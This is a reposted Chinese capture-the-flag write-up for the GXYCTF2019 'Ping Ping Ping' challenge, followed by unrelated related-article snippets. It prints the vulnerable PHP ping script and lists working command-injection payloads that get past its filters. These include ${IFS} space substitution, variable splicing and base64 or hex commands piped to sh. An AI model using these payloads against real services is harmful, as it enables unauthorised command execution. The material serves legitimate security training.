[GXYCTF2019]Ping Ping Ping

news/2024/11/16 13:00:23/文章来源:https://www.cnblogs.com/MrSoap/p/18305781

[GXYCTF2019]Ping Ping Ping (命令执行绕过总结)

题目来源

收录于:BUUCTF  GXYCTF2019

题目描述

img

提示较为明确,get方法传参127.0.0.1后结果如下

img

比较容易想到联合执行命令,先看有哪些文件

img

尝试直接读取flag.php

img

读取失败,对空格进行了过滤。

题解

以下内容参考文章:https://blog.csdn.net/vanarrow/article/details/108295481

对空格的绕过比较简单,在kali默认的shell中验证后得出,绕过可用以下方式

${IFS}
${IFS}$9        //这里$1到$9都可以
$IFS$1          //这里$1到$9都可以
<
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)       //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
%09   (tab)
X=$'cat\x09./flag.php';$X       // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X       

内联执行:将反引号内命令的返回值(即输出值)作为整条命令的输入值
例如当命令为:

cat `ls`

即cat读取当前目录下的所有文件

img

因此可以使用上面的绕过方法配合内联执行,例如:

cat$IFS`ls`
cat$IFS$9`ls`

先读取一下index.php的源码

?ip=127.0.0.1;cat$IFS$9index.php

img

美化后代码如下

<?php$ip = $_GET['ip'];if (preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)) {echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");                   //不能包含的字符:& / ? * <  >  " \ ( ) [ ] { } ASCII值0到20之间的字符
} else if (preg_match("/ /", $ip)) {die("fxck your space!");                //  不能包含空格
} else if (preg_match("/bash/", $ip)) {     //不能包含bashdie("fxck your bash!");
} else if (preg_match("/.*f.*l.*a.*g.*/", $ip)) {   //flag这四个字母不能按顺序出现在字符串中die("fxck your flag!");
}$a = shell_exec("ping -c 4 " . $ip);
echo "<pre>";
print_r($a);
echo "</pre>";?>

我们看到不能直接输入flag进行文件的读取,但是可以使用变量赋值的方式,例如:

?ip=127.0.0.1;X=g;cat$IFS$9fla$X.php

字符串fla和变量$X拼接形成flag,成功绕过,flag显示在页面源码中

img

以下payload也可行:

?ip=127.0.0.1;X=ag;cat$IFS$9fl$X.php
?ip=127.0.0.1;X=lag;cat$IFS$9f$X.php
?ip=127.0.0.1;X=la;cat$IFS$9`ls`        //内联执行配合空格绕过

但以下payload不可行:

?ip=127.0.0.1;X=a;cat$IFS$9fl$Xg.php
?ip=127.0.0.1;X=la;cat$IFS$9f$Xg.php

因为shell会把$Xg当成一个变量名进行解析,但是该变量并没有定义。而前面可行的payload中因为变量$X后紧接着是.,因此可以成功解析

此外也可以使用base64编码绕过。虽然过滤了bash,但是可以使用sh

?ip=127.0.0.1;`echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d`
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

总结

绕过空格

${IFS}
${IFS}$9        //这里$1到$9都可以
$IFS$1          //这里$1到$9都可以
<
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)       //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
%09   (tab)
X=$'cat\x09./flag.php';$X       // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X       

内联执行

cat `ls`

变量赋值

X=g;cat fla$X.php

base64编码绕过

echo Y2F0IGZsYWcucGhw|base64 -d|bash
echo Y2F0IGZsYWcucGhw|base64 -d|sh
`echo Y2F0IGZsYWcucGhw|base64 -d`

Hex编码绕过(前提:安装xxd)

echo 63617420666c61672e706870|xxd -r -p |bash
echo 63617420666c61672e706870|xxd -r -p |sh
`echo 63617420666c61672e706870|xxd -r -p`

其他方法

cat fl*                 //用*匹配任意 
ca\t fla\g.php          //反斜线绕过
cat fl''ag.php          //两个单引号绕过
cat fl[a]g.php          //用[]匹配
cp fla{g.php,G}         //把flag.php复制为flaG
ca${21}t a.txt          //{}中可以是任意数字

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/744800.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Xdown 多功能多线程并发下载工具

下载地址:https://www.mediafire.com/file/942px42bad7exdf/Xdown%25E4%25B8%258B%25E8%25BD%25BD%25E5%25B7%25A5%25E5%2585%25B7.zip/file Xdown是一款超级强大且免费无广告的Torrent(BT)/磁力链/Aria2/HTTP下载工具。Xdown不光如此还支持BT做种,使用 Xdown下载器让我们跟…

MariaDb安装及登录

一、安装 ​ 及客户端 sudo apt install mariadb-server mariadb-client -y二、链接、测试 mysql -u root -p show databases;三、设置安全策略 sudo mysql_secure_installation四、配置、开启其他客户端访问 ​ 1、配置其他访问:修改配置文件 sudo vi /etc/mysql/mariadb.con…

bundletool工具使用(Android aab包安装)

🧑‍💻 写在开头 点赞 + 收藏 === 学会🤣🤣🤣 apk再见了,Android全新App安装格式aabhttps://github.com/google/bundletool https://github.com/google/bundletool/releaseshttps://developer.android.com/studio/command-line/bundletool#generate_apksbundletool工…

「杂文」日常 10

20240716 其实大一下早就结束了,但是一直不知道怎么咋给这篇新博开头 直到刚才:于是就得到了一个唐完了的开头 希望这几天的 noi 不会有人把操作数用 char 读,🙏

【Python】pyppeteer简单使用

爬取百度搜索python的第一页标题import sys sys.path.append("/home/user/.local/lib/python3.9/site-packages") #将包的路径添加到环境变量 import asyncio from pyppeteer import launch from pyppeteer_stealth import stealth #反检测模块,隐藏浏览器特征 imp…

[CF1616H] Keep XOR low

last dance.Last dance。 最后一篇文章,就写我两年前就看过但不敢尝试的题目吧。 首先,两数异或 \(\le x\) 的条件看起来是好维护的,显然可以 Trie 树上跑一跑,但我们发现当 \(x\) 某一位是 \(1\) 的时候非常难受,情况变得非常复杂。此时我进行了一些尝试,尝试直接刻画合…

ss

ss ​​

web直播

步骤一:开通腾讯云直播服务 步骤二:获取推流URL 想要简单获取一个推流URL,可以参考文档:快速获得地址 想要了解推流地址和直播间ID的关系,可以参考文档:后台自动拼装 想要了解如果保护自己的推流地址不被盗用,可以参考文档:防盗链签名 步骤三:获取播放URL 步骤四:配置…

通过chrony实现内网自建时间同步服务器

服务端安装chrony服务端yum install -y chrony配置chrony服务端#chrony默认配置文件路径 # yum : 一般为/etc/chrony.conf # apt : 一般为/etc/chrony/chrony.conf #在chrony.conf中加入以下行 server ntp.aliyun.com iburst manual allow 0.0.0.0/0 local stratum 8测试chrony…

【YashanDB知识库】存储过程报错snapshot too old

问题描述 20231127上午客户反馈绩效系统20231125、20231126出现2次YAS-02020 snapshot too old的问题,测试也有类似问题。 该过程是客户新增的存储过程,目的是通过PRO_RUN_JOB作为主控,调度其他存储过程,后续不用其他调度引擎。 原因分析 错误信息收集分析 分析存储过程报错…

DeepVT论文阅读笔记

DeepVT: Deep View-Temporal Interaction Network for News Recommendation论文阅读笔记 Abstract 存在的问题: ​ 以往的研究大多只是直接应用新闻层面的表征进行用户建模,新闻的标题、摘要、分类等观点只是被隐含和压缩到新闻的单一向量中,这就使得不同新闻中的不同观点无…

直播预约丨《指标体系建设实战》第四期:如何构建全面的指标管理体系

指标是反映企业的各项核心业务活动、管理成效的数据体系,指标体系作为联结业务逻辑与数据实体的关键桥梁,是构建高质量数据统计的基础单元,并在量化业务绩效和效果评估中扮演着核心角色。 为了更好地服务于客户并提供切实可行的实践指导,自4月24日起,袋鼠云将推出全新《指…